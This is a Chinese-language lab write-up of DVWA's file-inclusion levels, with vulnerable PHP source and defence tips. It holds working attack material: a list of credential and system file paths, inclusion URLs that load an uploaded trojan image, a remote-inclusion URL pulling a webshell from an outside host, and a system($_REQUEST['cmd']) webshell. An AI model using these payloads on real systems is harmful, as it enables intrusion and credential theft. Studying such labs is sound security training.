文件包含


文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码;简单来说就是一个文件里面包含另外一个或多个文件。


PHP中的文件包含分为本地文件包含和远程文件包含。


常见的敏感信息路径:


Windows系统


c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息


Linux/Unix系统


/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件


低难度


设置如下:


DVWA靶机-全级别测试-文件包含_上传


源代码如下:


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>


我们可以访问很多目录文件


/www/admin/localhost_80/wwwroot/DVWA/config/config.inc.php


DVWA靶机-全级别测试-文件包含_php_02


DVWA靶机-全级别测试-文件包含_上传_03


有错误信息


我们访问/etc/passwd


DVWA靶机-全级别测试-文件包含_php_04


有错误信息


添加很多../上层目录,发现这里可能写死了绝对路径


DVWA靶机-全级别测试-文件包含_上传_05


访问php.ini文件


/www/admin/localhost_80/wwwroot/DVWA/php.ini


DVWA靶机-全级别测试-文件包含_文件包含_06


文件内容


DVWA靶机-全级别测试-文件包含_上传_07


网站出来的信息


DVWA靶机-全级别测试-文件包含_上传_08


还记得上次我们上传了一个木马图片吗?

我们找到该路径


http://42.194.205.186/DVWA/vulnerabilities/fi/?page=/www/admin/localhost_80/wwwroot/DVWA/hackable/uploads/888.jpg


DVWA靶机-全级别测试-文件包含_上传_09


使用菜刀链接


DVWA靶机-全级别测试-文件包含_文件包含_10


点击“添加”


DVWA靶机-全级别测试-文件包含_php_11


取得web服务站点资源


DVWA靶机-全级别测试-文件包含_上传_12


好家伙,进入可以远程上网

远程访问其他网址的信息(访问恶意的服务器文件,会导致DVWA靶机被远程控制)


中难度


设置如下:


DVWA靶机-全级别测试-文件包含_文件包含_13


源代码如下:


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>


可以看到,采取白名单策略,对输入的文件名,进行过滤

但是我们知道,这种过滤是有限的,并不能完全杜绝编码绕过的可能。


我们使用远程文件包含漏洞


1、先建立一个远程服务器提供web服务


DVWA靶机-全级别测试-文件包含_文件包含_14


2、然后远程访问web服务器,里面包含一个shell 木马


DVWA靶机-全级别测试-文件包含_php_15


好的,现在我们成功搭建了一个web服务器,我们上传一个webshell


DVWA靶机-全级别测试-文件包含_php_16


上传一个txt测试


DVWA靶机-全级别测试-文件包含_php_17


发现可以正常访问


DVWA靶机-全级别测试-文件包含_文件包含_18


好了,我们上传webshell文件


DVWA靶机-全级别测试-文件包含_上传_19


我们使用小马


DVWA靶机-全级别测试-文件包含_文件包含_20


<?php system($_REQUEST['cmd']);?>


中国蚁剑链接路径


http://42.194.205.186/DVWA/vulnerabilities/fi/?page=httP://124.70.63.150/789.php

DVWA靶机-全级别测试-文件包含_上传_21


如果使用phpinfo


DVWA靶机-全级别测试-文件包含_php_22


高难度


设置如下:


DVWA靶机-全级别测试-文件包含_php_23


源代码如下:


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>


可以看到,高安全级别是使用file的格式进行


先不管这些,我们来尝试能否进行远程文件包含访问


DVWA靶机-全级别测试-文件包含_文件包含_24


本地文件


DVWA靶机-全级别测试-文件包含_上传_25


被限制为“include.php”

通过查询可知


DVWA靶机-全级别测试-文件包含_php_26


这个只能通过本地文件上传漏洞,再进行利用了


不可能难度


设置如下:


DVWA靶机-全级别测试-文件包含_php_27


源代码如下:


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>


这里使用白名单。page参数必须为:include.php 、 file1.php 、 file2.php 、 file3.php 。杜绝了文件包含漏洞。


防御措施


1、使用白名单方式

2、指定相应的后缀名称

3、使用waf等安全设备